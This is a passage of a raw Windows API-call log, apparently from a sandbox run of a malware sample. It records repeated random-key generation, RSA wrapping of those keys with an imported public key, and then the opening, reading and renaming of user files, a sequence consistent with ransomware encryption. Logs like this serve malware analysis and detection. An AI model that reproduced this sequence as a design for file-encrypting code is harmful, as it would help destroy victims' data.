CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4e48) returned 1 [0250.903] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0250.907] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0250.907] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d868 | out: pbBuffer=0x285d868) returned 1 [0250.907] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0250.907] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4760) returned 1 [0250.910] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x6780a48) returned 1 [0250.910] CryptGetKeyParam (in: hKey=0x6780a48, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0250.910] CryptEncrypt (in: hKey=0x6780a48, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcac0000*, pdwDataLen=0x285d8b4*=0xc8, dwBufLen=0x800 | out: pbData=0xcac0000*, pdwDataLen=0x285d8b4*=0x100) returned 1 [0250.910] GetLastError () returned 0x0 [0250.910] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0250.910] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4760) returned 1 [0250.912] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x6780c88) returned 1 [0250.912] CryptGetKeyParam (in: hKey=0x6780c88, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0250.912] CryptEncrypt (in: hKey=0x6780c88, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcad0000*, pdwDataLen=0x285d8b8*=0xc8, dwBufLen=0x800 | out: pbData=0xcad0000*, pdwDataLen=0x285d8b8*=0x100) returned 1 [0250.913] GetLastError () returned 0x0 [0250.913] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0250.913] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\1e6d17e6-5b84-4acc-aaa5-b8802c667d4a_show.xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\tips\\1e6d17e6-5b84-4acc-aaa5-b8802c667d4a_show.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0250.913] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4760) returned 1 [0250.916] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0250.919] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0250.919] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d89c | out: pbBuffer=0x285d89c) returned 1 [0250.919] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0250.919] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4980) returned 1 [0250.922] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0250.924] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0250.925] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d868 | out: pbBuffer=0x285d868) returned 1 [0250.925] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0250.925] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4e48) returned 1 [0250.927] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x6780bc8) returned 1 [0250.927] CryptGetKeyParam (in: hKey=0x6780bc8, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0250.927] CryptEncrypt (in: hKey=0x6780bc8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcae0000*, pdwDataLen=0x285d8b4*=0xc8, dwBufLen=0x800 | out: pbData=0xcae0000*, pdwDataLen=0x285d8b4*=0x100) returned 1 [0250.927] GetLastError () returned 0x0 [0250.927] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0250.928] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4760) returned 1 [0250.929] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x6780908) returned 1 [0250.929] CryptGetKeyParam (in: hKey=0x6780908, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0250.929] CryptEncrypt (in: hKey=0x6780908, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcaf0000*, pdwDataLen=0x285d8b8*=0xc8, dwBufLen=0x800 | out: pbData=0xcaf0000*, pdwDataLen=0x285d8b8*=0x100) returned 1 [0250.930] GetLastError () returned 0x0 [0250.930] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0250.930] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\1e6d17e6-5b84-4acc-aaa5-b8802c667d4a_withdraw.xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\tips\\1e6d17e6-5b84-4acc-aaa5-b8802c667d4a_withdraw.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0250.930] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4760) returned 1 [0250.933] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0250.936] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0250.936] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d89c | out: pbBuffer=0x285d89c) returned 1 [0250.936] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0250.936] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4e48) returned 1 [0250.939] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0250.942] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0250.942] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d868 | out: pbBuffer=0x285d868) returned 1 [0250.942] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0250.942] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4e48) returned 1 [0250.945] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x6780c48) returned 1 [0250.945] CryptGetKeyParam (in: hKey=0x6780c48, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0250.945] CryptEncrypt (in: hKey=0x6780c48, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcb00000*, pdwDataLen=0x285d8b4*=0xc8, dwBufLen=0x800 | out: pbData=0xcb00000*, pdwDataLen=0x285d8b4*=0x100) returned 1 [0250.945] GetLastError () returned 0x0 [0250.945] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0250.945] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4e48) returned 1 [0250.947] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x6780dc8) returned 1 [0250.947] CryptGetKeyParam (in: hKey=0x6780dc8, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0250.947] CryptEncrypt (in: hKey=0x6780dc8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcb10000*, pdwDataLen=0x285d8b8*=0xc8, dwBufLen=0x800 | out: pbData=0xcb10000*, pdwDataLen=0x285d8b8*=0x100) returned 1 [0250.947] GetLastError () returned 0x0 [0250.947] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0250.947] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\7a0c8c7f-1fe2-4e97-ac34-3223b26f0318_show.xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\tips\\7a0c8c7f-1fe2-4e97-ac34-3223b26f0318_show.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0250.947] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4760) returned 1 [0250.950] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0250.953] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0250.955] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d89c | out: pbBuffer=0x285d89c) returned 1 [0250.955] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0250.955] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4760) returned 1 [0250.958] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0250.961] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0250.961] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d868 | out: pbBuffer=0x285d868) returned 1 [0250.961] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0250.961] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4760) returned 1 [0250.963] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x6780ac8) returned 1 [0250.963] CryptGetKeyParam (in: hKey=0x6780ac8, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0250.964] CryptEncrypt (in: hKey=0x6780ac8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcb20000*, pdwDataLen=0x285d8b4*=0xc8, dwBufLen=0x800 | out: pbData=0xcb20000*, pdwDataLen=0x285d8b4*=0x100) returned 1 [0250.964] GetLastError () returned 0x0 [0250.964] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0250.964] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4760) returned 1 [0250.967] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x6780a88) returned 1 [0250.967] CryptGetKeyParam (in: hKey=0x6780a88, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0250.967] CryptEncrypt (in: hKey=0x6780a88, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcb30000*, pdwDataLen=0x285d8b8*=0xc8, dwBufLen=0x800 | out: pbData=0xcb30000*, pdwDataLen=0x285d8b8*=0x100) returned 1 [0250.967] GetLastError () returned 0x0 [0250.967] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0250.967] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\7a0c8c7f-1fe2-4e97-ac34-3223b26f0318_withdraw.xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\tips\\7a0c8c7f-1fe2-4e97-ac34-3223b26f0318_withdraw.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0250.967] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4e48) returned 1 [0250.971] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0250.973] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0250.973] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d89c | out: pbBuffer=0x285d89c) returned 1 [0250.973] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0250.974] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4760) returned 1 [0250.976] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0250.978] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0250.978] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d868 | out: pbBuffer=0x285d868) returned 1 [0250.978] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0250.978] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4e48) returned 1 [0250.981] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x6780b08) returned 1 [0250.981] CryptGetKeyParam (in: hKey=0x6780b08, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0250.981] CryptEncrypt (in: hKey=0x6780b08, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcb40000*, pdwDataLen=0x285d8b4*=0xc8, dwBufLen=0x800 | out: pbData=0xcb40000*, pdwDataLen=0x285d8b4*=0x100) returned 1 [0250.981] GetLastError () returned 0x0 [0250.981] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0250.981] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4760) returned 1 [0250.983] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x6780f48) returned 1 [0250.983] CryptGetKeyParam (in: hKey=0x6780f48, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0250.983] CryptEncrypt (in: hKey=0x6780f48, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcb50000*, pdwDataLen=0x285d8b8*=0xc8, dwBufLen=0x800 | out: pbData=0xcb50000*, pdwDataLen=0x285d8b8*=0x100) returned 1 [0250.984] GetLastError () returned 0x0 [0250.984] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0250.984] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\e25db1fd-8c25-47cf-8c91-668b6d7de9f2_show.xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\tips\\e25db1fd-8c25-47cf-8c91-668b6d7de9f2_show.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0250.984] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4760) returned 1 [0250.987] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0250.989] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0250.990] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d89c | out: pbBuffer=0x285d89c) returned 1 [0250.990] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0250.990] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4760) returned 1 [0250.992] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0250.994] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0250.994] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d868 | out: pbBuffer=0x285d868) returned 1 [0250.994] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0250.995] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4980) returned 1 [0250.997] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x6780d88) returned 1 [0250.997] CryptGetKeyParam (in: hKey=0x6780d88, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0250.997] CryptEncrypt (in: hKey=0x6780d88, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcb60000*, pdwDataLen=0x285d8b4*=0xc8, dwBufLen=0x800 | out: pbData=0xcb60000*, pdwDataLen=0x285d8b4*=0x100) returned 1 [0250.997] GetLastError () returned 0x0 [0250.997] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0250.997] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4e48) returned 1 [0250.999] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x6780b88) returned 1 [0250.999] CryptGetKeyParam (in: hKey=0x6780b88, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0250.999] CryptEncrypt (in: hKey=0x6780b88, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcb70000*, pdwDataLen=0x285d8b8*=0xc8, dwBufLen=0x800 | out: pbData=0xcb70000*, pdwDataLen=0x285d8b8*=0x100) returned 1 [0251.000] GetLastError () returned 0x0 [0251.000] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0251.000] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\e25db1fd-8c25-47cf-8c91-668b6d7de9f2_withdraw.xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\tips\\e25db1fd-8c25-47cf-8c91-668b6d7de9f2_withdraw.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0251.007] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4760) returned 1 [0251.010] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0251.012] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0251.012] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285db24 | out: pbBuffer=0x285db24) returned 1 [0251.013] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0251.013] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4e48) returned 1 [0251.016] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0251.018] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0251.018] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285daf0 | out: pbBuffer=0x285daf0) returned 1 [0251.018] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0251.018] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4760) returned 1 [0251.021] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x6780cc8) returned 1 [0251.021] CryptGetKeyParam (in: hKey=0x6780cc8, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0251.021] CryptEncrypt (in: hKey=0x6780cc8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcb80000*, pdwDataLen=0x285db3c*=0xc8, dwBufLen=0x800 | out: pbData=0xcb80000*, pdwDataLen=0x285db3c*=0x100) returned 1 [0251.021] GetLastError () returned 0x0 [0251.021] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0251.021] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4760) returned 1 [0251.023] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x6780a08) returned 1 [0251.023] CryptGetKeyParam (in: hKey=0x6780a08, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0251.023] CryptEncrypt (in: hKey=0x6780a08, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcb90000*, pdwDataLen=0x285db40*=0xc8, dwBufLen=0x800 | out: pbData=0xcb90000*, pdwDataLen=0x285db40*=0x100) returned 1 [0251.023] GetLastError () returned 0x0 [0251.023] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0251.023] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x508 [0251.025] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcba0000 [0251.027] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcbb0000 [0251.030] ReadFile (in: hFile=0x508, lpBuffer=0xcbb0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285db80, lpOverlapped=0x0 | out: lpBuffer=0xcbb0000*, lpNumberOfBytesRead=0x285db80*=0x10210, lpOverlapped=0x0) returned 1 [0251.039] VirtualAlloc (lpAddress=0x0, dwSize=0x10210, flAllocationType=0x3000, flProtect=0x4) returned 0xccc0000 [0251.046] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\settings\\settings.dat"), lpNewFileName="C:\\Documents and 